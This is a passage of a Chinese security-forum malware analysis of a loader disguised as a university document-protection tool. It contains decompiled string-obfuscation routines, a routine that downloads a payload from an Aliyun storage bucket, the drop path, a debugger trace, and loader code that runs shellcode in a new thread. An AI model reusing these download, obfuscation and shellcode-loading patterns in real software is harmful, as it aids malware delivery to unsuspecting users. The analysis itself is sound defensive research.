  *(_BYTE *)(a1 + 5) = (char)(19 * (*(_DWORD *)(a1 + 60) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 6) = (char)(19 * (*(_DWORD *)(a1 + 64) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 7) = (char)(19 * (*(_DWORD *)(a1 + 68) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 8) = (char)(19 * (*(_DWORD *)(a1 + 72) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 9) = (char)(19 * (*(_DWORD *)(a1 + 76) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 10) = (char)(19 * (*(_DWORD *)(a1 + 80) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 11) = (char)(19 * (*(_DWORD *)(a1 + 84) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 12) = (char)(19 * (*(_DWORD *)(a1 + 88) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 13) = (char)(19 * (*(_DWORD *)(a1 + 92) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 14) = (char)(19 * (*(_DWORD *)(a1 + 96) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 15) = (char)(19 * (*(_DWORD *)(a1 + 100) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 16) = (char)(19 * (*(_DWORD *)(a1 + 104) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 17) = (char)(19 * (*(_DWORD *)(a1 + 108) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 18) = (char)(19 * (*(_DWORD *)(a1 + 112) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 19) = (char)(19 * (*(_DWORD *)(a1 + 116) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 20) = (char)(19 * (*(_DWORD *)(a1 + 120) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 21) = (char)(19 * (*(_DWORD *)(a1 + 124) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 22) = (char)(19 * (*(_DWORD *)(a1 + 128) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 23) = (char)(19 * (*(_DWORD *)(a1 + 132) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 24) = (char)(19 * (*(_DWORD *)(a1 + 136) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 25) = (char)(19 * (*(_DWORD *)(a1 + 140) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 26) = (char)(19 * (*(_DWORD *)(a1 + 144) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 27) = (char)(19 * (*(_DWORD *)(a1 + 148) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 28) = (char)(19 * (*(_DWORD *)(a1 + 152) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 29) = (char)(19 * (*(_DWORD *)(a1 + 156) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 30) = (char)(19 * (*(_DWORD *)(a1 + 160) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 31) = (char)(19 * (*(_DWORD *)(a1 + 164) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 32) = (char)(19 * (*(_DWORD *)(a1 + 168) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 33) = (char)(19 * (*(_DWORD *)(a1 + 172) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 34) = (char)(19 * (*(_DWORD *)(a1 + 176) - 70) % 127 + 127) % 127;
  result = a1;
  *(_WORD *)(a1 + 35) = (unsigned __int8)((19 * (*(_DWORD *)(a1 + 180) - 70) % 127 + 127) % 127);
  return result;
}

恶意文件路径:C:\\Users\\Public\\Downloads\\feishu.exe

1
2
3
4
00007FF7851D76B5 | E8 B6090000              | call 同济大学文档保护系统.7FF7851D8070            | 形成feishu.exe
00007FF7851D76BA | 48:8BD0                  | mov rdx,rax                             | rdx:"C:\\Users\\Public\\Downloads\\feishu.exe", rax:"C:\\Users\\Public\\Downloads\\feishu.exe"
00007FF7851D76BD | 48:8D4D E0               | lea rcx,qword ptr ss:[rbp-20]           |
00007FF7851D76C1 | E8 2AA40000              | call 同济大学文档保护系统.7FF7851E1AF0            |

再说一句,样本里的几乎所有关键字符串都用了混淆的三方库,比如这里sub_140007D00生成的baidudocument

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall sub_140007D00(__int64 a1)
{
    __int64 result; // rax
 
    *(_BYTE *)a1 = (char)(15 * (*(_DWORD *)(a1 + 16) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 1) = (char)(15 * (*(_DWORD *)(a1 + 20) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 2) = (char)(15 * (*(_DWORD *)(a1 + 24) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 3) = (char)(15 * (*(_DWORD *)(a1 + 28) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 4) = (char)(15 * (*(_DWORD *)(a1 + 32) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 5) = (char)(15 * (*(_DWORD *)(a1 + 36) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 6) = (char)(15 * (*(_DWORD *)(a1 + 40) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 7) = (char)(15 * (*(_DWORD *)(a1 + 44) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 8) = (char)(15 * (*(_DWORD *)(a1 + 48) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 9) = (char)(15 * (*(_DWORD *)(a1 + 52) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 10) = (char)(15 * (*(_DWORD *)(a1 + 56) - 93) % 127 + 127) % 127;
    *(_BYTE *)(a1 + 11) = (char)(15 * (*(_DWORD *)(a1 + 60) - 93) % 127 + 127) % 127;
    result = a1;
    *(_WORD *)(a1 + 12) = (unsigned __int8)((15 * (*(_DWORD *)(a1 + 64) - 93) % 127 + 127) % 127);
    return result;
}

进入sub_140006A60下载恶意文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
sub_140012AE0(lpszUrl, a2, v3);
v4 = InternetOpenW(L"Baidu", 1u, 0i64, 0i64, 0);
v5 = v4;
v6 = (const WCHAR *)lpszUrl;
if ( v18 >= 8 )
    v6 = lpszUrl[0];
v7 = InternetOpenUrlW(v4, v6, 0i64, 0, 0x80000000, 0i64);
*(_OWORD *)Src = 0i64;
Src[2] = 0i64;
Src[3] = 15i64;
*(_BYTE *)Src = 0;
dwNumberOfBytesRead = 0;
while ( InternetReadFile(v7, Buffer, 0x400u, &dwNumberOfBytesRead) )
{
    if ( !dwNumberOfBytesRead )
        break;
    v9 = dwNumberOfBytesRead;
    v10 = Src[2];
    v11 = Src[3];
    if ( dwNumberOfBytesRead > v11 - v10 )
    {
        sub_140012CF0(Src, dwNumberOfBytesRead, v8, Buffer, dwNumberOfBytesRead);
    }
    else
    {
        Src[2] = v10 + dwNumberOfBytesRead;
        v12 = Src;
        if ( v11 >= 0x10 )
            v12 = (_QWORD *)*Src;
        v13 = (char *)v12 + v10;
        memmove((char *)v12 + v10, Buffer, v9);
        v13[v9] = 0;
    }
}
InternetCloseHandle(v7);
InternetCloseHandle(v5);

这里由于已经被标记了(文章编写时距离第一次提交已经过去快一个月了),攻击人员撤销了资源,所以返回error xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
00000277401DACA0 EE FE EE FE EE FE EE FE 40 DA FB A7 9E 0C 00 3F îþîþîþîþ@Úû§...?
00000277401DACB0 3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D 22 31 <?xml version="1
00000277401DACC0 2E 30 22 20 65 6E 63 6F 64 69 6E 67 3D 22 55 54 .0" encoding="UT
00000277401DACD0 46 2D 38 22 3F 3E 0A 3C 45 72 72 6F 72 3E 0A 20 F-8"?>.<Error>. 
00000277401DACE0 20 3C 43 6F 64 65 3E 4E 6F 53 75 63 68 42 75 63  <Code>NoSuchBuc
00000277401DACF0 6B 65 74 3C 2F 43 6F 64 65 3E 0A 20 20 3C 4D 65 ket</Code>.  <Me
00000277401DAD00 73 73 61 67 65 3E 54 68 65 20 73 70 65 63 69 66 ssage>The specif
00000277401DAD10 69 65 64 20 62 75 63 6B 65 74 20 64 6F 65 73 20 ied bucket does 
00000277401DAD20 6E 6F 74 20 65 78 69 73 74 2E 3C 2F 4D 65 73 73 not exist.</Mess
00000277401DAD30 61 67 65 3E 0A 20 20 3C 52 65 71 75 65 73 74 49 age>.  <RequestI
00000277401DAD40 64 3E 36 36 36 43 35 39 33 36 45 35 43 32 33 41 d>666C5936E5C23A
00000277401DAD50 33 38 33 31 35 37 30 38 38 35 3C 2F 52 65 71 75 3831570885</Requ
00000277401DAD60 65 73 74 49 64 3E 0A 20 20 3C 48 6F 73 74 49 64 estId>.  <HostId
00000277401DAD70 3E 66 69 73 68 2D 31 32 33 2E 6F 73 73 2D 63 6E >fish-123.oss-cn
00000277401DAD80 2D 73 68 61 6E 67 68 61 69 2E 61 6C 69 79 75 6E -shanghai.aliyun
00000277401DAD90 63 73 2E 63 6F 6D 3C 2F 48 6F 73 74 49 64 3E 0A cs.com</HostId>.
00000277401DADA0 20 20 3C 42 75 63 6B 65 74 4E 61 6D 65 3E 66 69   <BucketName>fi
00000277401DADB0 73 68 2D 31 32 33 3C 2F 42 75 63 6B 65 74 4E 61 sh-123</BucketNa
00000277401DADC0 6D 65 3E 0A 20 20 3C 45 43 3E 30 30 31 35 2D 30 me>.  <EC>0015-0
00000277401DADD0 30 30 30 30 31 30 31 3C 2F 45 43 3E 0A 20 20 3C 0000101</EC>.  <
00000277401DADE0 52 65 63 6F 6D 6D 65 6E 64 44 6F 63 3E 68 74 74 RecommendDoc>htt
00000277401DADF0 70 73 3A 2F 2F 61 70 69 2E 61 6C 69 79 75 6E 2E ps://api.aliyun.
00000277401DAE00 63 6F 6D 2F 74 72 6F 75 62 6C 65 73 68 6F 6F 74 com/troubleshoot
00000277401DAE10 3F 71 3D 30 30 31 35 2D 30 30 30 30 30 31 30 31 ?q=0015-00000101
00000277401DAE20 3C 2F 52 65 63 6F 6D 6D 65 6E 64 44 6F 63 3E 0A </RecommendDoc>.
00000277401DAE30 3C 2F 45 72 72 6F 72 3E 0A 00 AD BA 0D F0 AD BA </Error>...º.ð.º

微步上已经有相关样本记录(f495f57d4ad156d7e31a40d20952220d4933e8658f2db4c62c3b7f555beffc2d),再次感谢第一位提交的并且分析样本的师傅,他的首发文章:https://xz.aliyun.com/t/14610
将文件放到C:\Users\Public\Downloads\feishu.exe,

恶意跳板loader装载

经过一系列寄存器取值操作,最后使用SHELLEXECUTEW调用程序,携带参数baidudocument
image.png

1
if ( (__int64)ShellExecuteW(0i64, L"open", v57, (LPCWSTR)v56, 0i64, 1) <= 32 )

恶意跳板loader

现在我们已经把恶意文件下载下来了,以下是他的基本信息(为什么这位大哥这么喜欢文件说明和图标名称对不上,强迫症犯了)
image.png
首先观察静态代码,可以发现非常平坦化,估计用ollvm混淆过了
观察到其中的关键代码,shellcode创建线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v76 = VirtualAlloc(0i64, dwSize, 0x1000u, 4u);
v77 = v76;
if ( v76 )
{
    memcpy(v76, v75, v113);
    if ( VirtualProtect(v77, dwSize, 0x20u, &flOldProtect) )
    {
        if ( v75 != i )
            i = v75;
        Src[1] = i;
        Thread = CreateThread(0i64, 0i64, StartAddress, v77, 0, 0i64);
        v74 = Thread;
        if ( Thread )
        {
            WaitForSingleObject(Thread, 0xFFFFFFFF);
            CloseHandle(v74);

混淆后的代码很难看,这里找到了一个之前一样的字符串混淆方式(按位循环,中间数据不变,提取尾部数据到头部向前一位偏移,头部)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
v16 = "0111000101101100100110100101000101010111000100000000001111111001101101101011111010111001110010010011110000110100"
        "0010000011010010111101111001101101111101010100110101111011111011111000101001000110110000010000101110111000010110"
        "1101101010000101101110100011000000011100110000110001011010111101111011111110011000011010011001001100101100100000"
        "1001101000110001100010111110110001010001111001010111010011011101100001001100000010101111001110000010011100101011"
        "0100111001001111110010111110001010111000000110010101110110110111111110111101011110111111010110100010101010100101"
        "1100110001111101001000110010001111111000001101010101100101010111001000001100011111001011110101111100000011100110"
        "010011100110001001111110001101111011001100111110111101";
  v17 = 5i64;
  do
  {
    *(_OWORD *)v15 = *(_OWORD *)v16;
    *((_OWORD *)v15 + 1) = *((_OWORD *)v16 + 1);
    *((_OWORD *)v15 + 2) = *((_OWORD *)v16 + 2);
    *((_OWORD *)v15 + 3) = *((_OWORD *)v16 + 3);
    *((_OWORD *)v15 + 4) = *((_OWORD *)v16 + 4);
    *((_OWORD *)v15 + 5) = *((_OWORD *)v16 + 5);
    *((_OWORD *)v15 + 6) = *((_OWORD *)v16 + 6);
    v15 += 128;
    *((_OWORD *)v15 - 1) = *((_OWORD *)v16 + 7);
    v16 += 128;
    --v17;
  }
  while ( v17 );
  *(_OWORD *)v15 = *(_OWORD *)v16;
  *((_OWORD *)v15 + 1) = *((_OWORD *)v16 + 1);
  *((_OWORD *)v15 + 2) = *((_OWORD *)v16 + 2);
  *((_OWORD *)v15 + 3) = *((_OWORD *)v16 + 3);
  *((_OWORD *)v15 + 4) = *((_OWORD *)v16 + 4);
  *((_DWORD *)v15 + 20) = *((_DWORD *)v16 + 20);
  *((_WORD *)v15 + 42) = *((_WORD *)v16 + 42);
  v14[726] = 0;

顺着loader执行进去的x64dbg可以直接查看,但是我执行的时候报错,位数出问题,我这里直接用x64dbg跑feishu.exe了。
有个前提,必须携带baidudocument参数

1
2
if ( argc == 1 )
   return 0;

我这里选择用x64dbg改变命令行
image.png


遗憾结束

由于发现时间滞后了,云资源已经撤销,暂时没有在互联网和情报社区找到最后的shellcode的txt,于是到此结束。
这个样本的亮点就是反沙箱,反虚拟机,以及其中奇奇怪怪的加密,当然我感觉这个混淆其实就看脑洞了。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 3天前 被天堂猪0ink编辑 ,原因:
收藏
免费 1
打赏
分享
最新回复 (1)
雪    币: 3138
活跃值: (2886)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
dayday向上8 2 3小时前
2
0
1400042B0不会是判断文件名是否有特殊字符串或者MD5/SHA256命名来确定是否退出的吧,我瞎猜的
游客
登录 | 注册 方可回帖
返回